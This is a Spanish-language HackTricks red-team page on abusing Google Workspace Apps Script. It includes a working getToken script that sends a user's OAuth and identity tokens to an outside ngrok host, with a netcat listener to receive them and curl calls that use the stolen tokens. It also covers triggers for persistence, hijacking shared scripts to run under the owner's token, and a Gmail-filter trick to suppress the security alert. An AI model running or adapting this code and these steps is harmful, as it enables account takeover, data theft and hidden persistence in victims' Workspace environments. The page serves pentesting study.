GWS - App Scripts

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

Scripts de Aplicaciones

Los Scripts de Aplicaciones son código que se activará cuando un usuario con permiso de editor acceda al documento con el que el Script de Aplicación está vinculado y después de aceptar el aviso de OAuth. También se pueden configurar para que se ejecuten cada cierto tiempo por el propietario del Script de Aplicación (Persistencia).

Crear Script de Aplicación

Existen varias formas de crear un Script de Aplicación, aunque las más comunes son desde un Documento de Google (de cualquier tipo) y como un proyecto independiente:

Crear un proyecto vinculado al contenedor desde Documentos de Google, Hojas de Cálculo o Presentaciones
  1. Abre un documento de Docs, una hoja de cálculo de Sheets o una presentación de Slides.

  2. Haz clic en Extensiones > Google Apps Script.

  3. En el editor de scripts, haz clic en Proyecto sin título.

  4. Dale un nombre a tu proyecto y haz clic en Renombrar.

Crear un proyecto independiente

Para crear un proyecto independiente desde Apps Script:

  1. Haz clic en Nuevo Proyecto.

  2. En el editor de scripts, haz clic en Proyecto sin título.

  3. Dale un nombre a tu proyecto y haz clic en Renombrar.

Crear un proyecto independiente desde Google Drive
  1. Haz clic en Nuevo > Más > Google Apps Script.

Crear un proyecto vinculado al contenedor desde Formularios de Google
  1. Abre un formulario en Google Forms.

  2. Haz clic en Más more_vert > Editor de scripts.

  3. En el editor de scripts, haz clic en Proyecto sin título.

  4. Dale un nombre a tu proyecto y haz clic en Renombrar.

Crear un proyecto independiente usando la herramienta de línea de comandos clasp

clasp es una herramienta de línea de comandos que te permite crear, extraer/push y desplegar proyectos de Apps Script desde una terminal.

Consulta la Guía de Interfaz de Línea de Comandos usando clasp para más detalles.

Escenario de Script de Aplicación

Crear Hoja de Cálculo de Google con Script de Aplicación

Comienza creando un Script de Aplicación, mi recomendación para este escenario es crear una Hoja de Cálculo de Google e ir a Extensiones > Scripts de Aplicaciones, esto abrirá un nuevo Script de Aplicación vinculado a la hoja.

Fuga de token

Para dar acceso al token de OAuth necesitas hacer clic en Servicios + y agregar ámbitos como:

  • AdminDirectory: Acceder a usuarios y grupos del directorio (si el usuario tiene suficientes permisos)

  • Gmail: Para acceder a datos de Gmail

  • Drive: Para acceder a datos de Drive

  • Google Sheets API: Para que funcione con el disparador

Para cambiar tú mismo los ámbitos necesarios puedes ir a la configuración del proyecto y habilitar: Mostrar archivo de manifiesto "appsscript.json" en el editor.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Para capturar la solicitud, simplemente puedes ejecutar:

ngrok tcp 4444
nc -lv 4444 #macOS

Permisos solicitados para ejecutar el App Script:

Al realizar una solicitud externa, el cuadro de diálogo de OAuth también pedirá permiso para acceder a puntos finales externos.

Crear Desencadenador

Una vez que se haya leído la aplicación, haga clic en ⏰ Desencadenadores para crear un desencadenador. En función a ejecutar, elija getToken, se ejecuta en la implementación Head, en la fuente del evento seleccione Desde la hoja de cálculo y seleccione el tipo de evento Al abrir o Al editar (según sus necesidades) y guarde.

Tenga en cuenta que puede verificar las ejecuciones de los App Scripts en la pestaña Ejecuciones si desea depurar algo.

Compartir

Para activar el App Script, la víctima necesita conectarse con Acceso de editor.

El token utilizado para ejecutar el App Script será el del creador del desencadenador, incluso si el archivo se abre como Editor por otros usuarios.

Abusando de documentos Compartidos conmigo

Si alguien compartió contigo un documento con App Scripts y un desencadenador utilizando el Head del App Script (no una implementación fija), puedes modificar el código del App Script (agregando, por ejemplo, funciones para robar tokens), acceder a él y el App Script se ejecutará con los permisos del usuario que compartió el documento contigo (ten en cuenta que el token de OAuth del propietario tendrá como alcance de acceso los otorgados cuando se creó el desencadenador).

Se enviará una notificación al creador del script indicando que alguien modificó el script (¿Qué tal usar permisos de gmail para generar un filtro que evite la alerta?)

Si un atacante modifica los alcances del App Script, las actualizaciones no se aplicarán al documento hasta que se cree un nuevo desencadenador con los cambios. Por lo tanto, un atacante no podrá robar el token del creador con más alcances de los que estableció en el desencadenador que creó.

Copiar en lugar de compartir

Cuando creas un enlace para compartir un documento se crea un enlace similar a este: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Si cambias el final "/edit" por "/copy", en lugar de acceder, Google te preguntará si deseas generar una copia del documento:

Si el usuario lo copia y lo accede, tanto el contenido del documento como los App Scripts se copiarán, sin embargo, los desencadenadores no lo harán, por lo tanto nada se ejecutará.

Compartir como Aplicación Web

Ten en cuenta que también es posible compartir un App Script como una aplicación web (en el Editor del App Script, implementar como una aplicación web), pero aparecerá una alerta como esta:

Seguido por el cuadro de diálogo de OAuth típico pidiendo los permisos necesarios.

Pruebas

Puedes probar un token recopilado para listar correos electrónicos con:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Listar calendario del usuario:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

Script de aplicación como persistencia

Una opción para la persistencia sería crear un documento y agregar un desencadenador para la función getToken y compartir el documento con el atacante para que cada vez que el atacante abra el archivo exfiltre el token de la víctima.

También es posible crear un Script de aplicación y hacer que se active cada cierto tiempo (como cada minuto, hora, día...). Un atacante que haya comprometido credenciales o una sesión de una víctima podría configurar un desencadenador de tiempo en un Script de aplicación y filtrar un token OAuth muy privilegiado cada día:

Simplemente crea un Script de aplicación, ve a Desencadenadores, haz clic en Agregar desencadenador y selecciona como fuente de evento Programado y elige las opciones que mejor se adapten a ti:

Esto creará un correo electrónico de alerta de seguridad y un mensaje push a tu móvil alertando sobre esto.

Bypass de la advertencia no verificada de documento compartido

Además, si alguien compartió contigo un documento con acceso de editor, puedes generar Scripts de aplicación dentro del documento y el PROPIETARIO (creador) del documento será el propietario del Script de aplicación.

Esto significa que el creador del documento aparecerá como creador de cualquier Script de aplicación que cualquier persona con acceso de editor cree dentro de él.

Esto también significa que el Script de aplicación será confiable para el entorno de Workspace del creador del documento.

Esto también significa que si un Script de aplicación ya existía y las personas han concedido acceso, cualquier persona con permiso de Editor en el documento puede modificarlo y abusar de ese acceso. Para abusar de esto también necesitas que las personas activen el Script de aplicación. Y un truco ingenioso es publicar el script como una aplicación web. Cuando las personas que ya han concedido acceso al Script de aplicación accedan a la página web, activarán el Script de aplicación (esto también funciona usando etiquetas <img>).

Última actualización